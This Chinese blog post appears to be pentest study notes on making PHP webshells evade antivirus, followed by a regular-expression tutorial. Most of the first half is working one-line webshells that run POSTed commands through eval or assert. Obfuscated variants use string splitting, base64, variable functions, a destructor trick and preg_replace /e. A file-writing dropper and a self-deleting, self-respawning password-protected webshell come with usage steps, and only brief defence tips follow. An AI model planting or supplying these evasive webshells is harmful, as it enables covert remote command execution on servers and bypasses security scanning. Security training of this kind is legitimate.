1.21 Webshell 免杀和正则表达式

使用木马识别网站检验免杀效果:https://www.virustotal.com/gui/

一句话木马免杀

使用eval方法

1
<?php eval($_POST['cmd']);?>

使用assert方法

1
<?php assert($_POST['cmd']);?>

写成HTML语言

1
<script language="php"> eval($_POST['cmd']);</script>

call_user_func调用

1
call_user_func(assert,$_POST['cmd']);

拆分敏感字符(拆成若干部分)

1
2
$a = substr_replace("assexx","rt",4);
$a($_POST['cmd']);

自定义函数

1
2
3
4
5
6
<?php
function fun1($a){
    $a($_POST['cmd']);
}
fun1(assert);
?>

插入无意义字符

1
2
3
4
5
6
7
<?php

$a = $_REQUEST['cmd'];	//接收用户通过GET/POST/COOKIE任意方式传入的参数
$b = '\n';	//单引号会原样输出,所以这行作用就是插入无意义内容来混淆
eval($b.=$a);	//等价于eval($b = $b.$a),php会忽略/n

?>

面向对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<?php

class me{
    public $a = ''; // 定义公共属性$a,初始值为空字符串
    function __destruct(){ // 定义析构函数(核心)
        assert("$this->a"); // 析构函数触发时,执行assert,参数是对象属性$a的值
    }
}

$obj = new me; // 实例化me类,创建对象$obj
$obj->a = $_POST['cmd']; // 将用户POST传入的cmd参数赋值给对象的$a属性


?>

加密绕过(base64)

1
2
3
4
5
6
<?php

$a = base64_decode("YXNzZXJ0");
$a($_POST['cmd']);

?>

拆碎敏感字符(拆成字母)

1
2
3
4
5
6
7
8
<?php

$a = "a"."s";
$b = "s"."e"."r"."t";
$c = $a.$b;
$c($_POST['cmd']);

?>

借刀杀人

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php

if(isset($_POST['file'])){
    $d = 'data';
    $$d = $_POST['dt'];//$data
    $f = 'fp';
    $$f = fopen($_POST['file'],'wb');//$fp
    echo fwrite($fp,$data)?'yes':'no';
    fclose($fp);
}

?>

使用方法: POST内容为file=文件名.php&dt=一句话木马,这样本Webshell(表面安全)会在目录下创建一个真木马,从而绕过上传中间的查杀.

内存马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php

//本程序使用进程运行,进程死了我才死
ignore_user_abort(true);
set_time_limit(0);
//自杀
unlink(__FILE__);
$file = './.hello.php';
$code = '<?php if(md5($_POST["pass"])=="202cb962ac59075b964b07152d234b70"){@eval($_POST["cmd"]);} ?>';
//上面设定了密码防止木马被他人滥用,木马填md5加密后的密文,但传入时传明文
while(1){
    file_put_contents($file,$code);
    usleep(5000);
}

?>

使用方法:

先访问test1.php这时该php会立即自杀,自杀之后会出现.hello.php杀不掉,接着访问.hello.php文件,POST内容pass=密码明文&cmd=命令

防御方法:

  • 重启服务
  • 创建新php文件,用ignore_user_abort(true);进行竞争写入
  • Linux下创建一个名字为.haha.php的文件夹

正则表达式

标准正则表达式

仅供参靠,实战建议交给AI解决!

功能: 匹配东西,找东西

正则表达式 准确描述 示例(匹配 / 不匹配说明)
\w 匹配字母(大小写)、数字、下划线,等价于 [A-Za-z0-9_]非所有字符 匹配:a5_B;不匹配:@空格\n
\w{3} 匹配连续 3 个字母 / 数字 / 下划线(固定长度) 匹配:abc89_X78;不匹配:ababcda 8(含空格)
\w+ 匹配 1 次或多次字母 / 数字 / 下划线(贪婪匹配,至少 1 个) 匹配:user123_abc888;不匹配:空字符串、@123(以特殊字符开头)
\s 匹配空白字符(空格、制表符\t、换行符\n、回车符\r等) 匹配:(空格)、\t\n;不匹配:a5@
^ 锚点,匹配字符串的开头位置(多行模式下匹配每行开头) ^hello:匹配hello world,不匹配world hello
$ 锚点,匹配字符串的结尾位置(多行模式下匹配每行结尾) world$:匹配hello world,不匹配world hello
\b\w{3}\b \b是单词边界,匹配 “独立的 3 个字符的单词”(前后为非字母 / 数字 / 下划线) 匹配:abc(单独)、abc 123中的abc;不匹配:abcd中的abcaabc中的abc
\d 匹配单个数字(0-9),等价于 [0-9] 匹配:09;不匹配:a_空格
\d{3}-\d{7} 匹配 “3 位数字 - 7 位数字” 的格式(典型座机号格式) 匹配:010-1234567888-9999999;不匹配:01-1234567(位数不足)、010-123456
\w+@(qq.com竖线gmail.com) 匹配以字母 / 数字 / 下划线开头,@后是qq.com或gmail.com的邮箱 匹配:[email protected][email protected];不匹配:[email protected]@qq.com
* 匹配前面的表达式 0 次或多次(贪婪匹配) a*:匹配空字符串aaaaa\d*:匹配123
. 匹配除换行符\n外的任意单个字符 .:匹配a5@空格;不匹配:\n
? 匹配前面的表达式 0 次或 1 次(非贪婪) a?:匹配a;不匹配:aa(仅匹配第一个 a)
+ 匹配前面的表达式 1 次或多次(贪婪,至少 1 次) a+:匹配aaaaa;不匹配:空字符串
.* 贪婪匹配:匹配除换行外的任意字符 0 次或多次(尽可能多匹配) a.*b:匹配a123ba@@@b,若字符串是a1b2b则匹配a1b2b(而非a1b
\[.*?\] 非贪婪匹配:匹配[]之间的任意内容(尽可能少匹配) \[.*?\]:字符串[abc][def]中匹配[abc][def](而非整体[abc][def]
\[label[0-9]\](.*?)\[/label[0-9]\] 匹配[label数字][/label数字]之间的内容(非贪婪) 匹配:[label1]test[/label1]中的test;不匹配:[labela]test[/label1](数字不匹配)
.orn 匹配 “任意字符 + orn” 的 4 字符组合 匹配:cornborn@orn;不匹配:orn(字符不足)、corrn
[ab]bcd 匹配以 a 或 b 开头,后接 bcd 的字符串(字符类) 匹配:abcdbbcd;不匹配:cbcdabxd
[^a]bcd 匹配以 “非 a 字符” 开头,后接 bcd 的字符串(反向字符类) 匹配:bbcd5bcd@bcd;不匹配:abcd
[f-z]+ 匹配 1 次或多次 f 到 z 的小写字母(字符范围) 匹配:fxyzmnop;不匹配:F(大写)、abc123
[a]?bcd 匹配 “a(可选)+ bcd”,即 bcd 或 abcd 匹配:bcdabcd;不匹配:aabcdxbcd
[0-3]{3} 匹配连续 3 个 0-3 的数字(固定长度 + 字符范围) 匹配:012333201;不匹配:45601014
() 分组:将括号内的表达式视为一个整体,可配合量词 / 或使用 (ab)+:匹配ababab

php正则表达式

i 忽略大小写

g 全局搜索

m 多行

e 当作php执行

示例1:

1
2
3
4
5
6
7
8
<?php 

$str1 = "haha nihao 123 456 789 !";
//正则表达式
$pa = '/(\d+)/i';	//匹配所有数字组合
echo preg_replace($pa,'x',$str1);	//用x替换匹配到的内容

?>

输出:haha nihao x x x !

示例2:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php 

$str1 = "haha nihao 123 456 789 !";

//正则表达式
//        1     2     3     4     5
$pa = '/(\w+) (\w+) (\d+) (\d+) (\d+)/i';

$replace = 'good ${2}------${4}';

echo preg_replace($pa,$replace,$str1);

?>

输出:good nihao------456 !

正则表达式的一句话木马:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php 
//传入haha=任意值&z0=system('系统命令');后者传入base64加密后的密文
$a = $_POST['haha'];	//任意传入参数haha触发下面if为true,执行后面的语句

if(isset($a)){
    //下面使用正则表达式去掉后面核心木马语句的中括号,并且/e表示将替换后的字符当作命令执行
    preg_replace("/\[(.*)\]/e",'\\1','[eval(base64_decode($_POST[z0]))]');
}

?>

补充:日志审计

打开:CISP-PTE 认证考试并下载日志

使用正则表达式\.php.+ 200查找

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS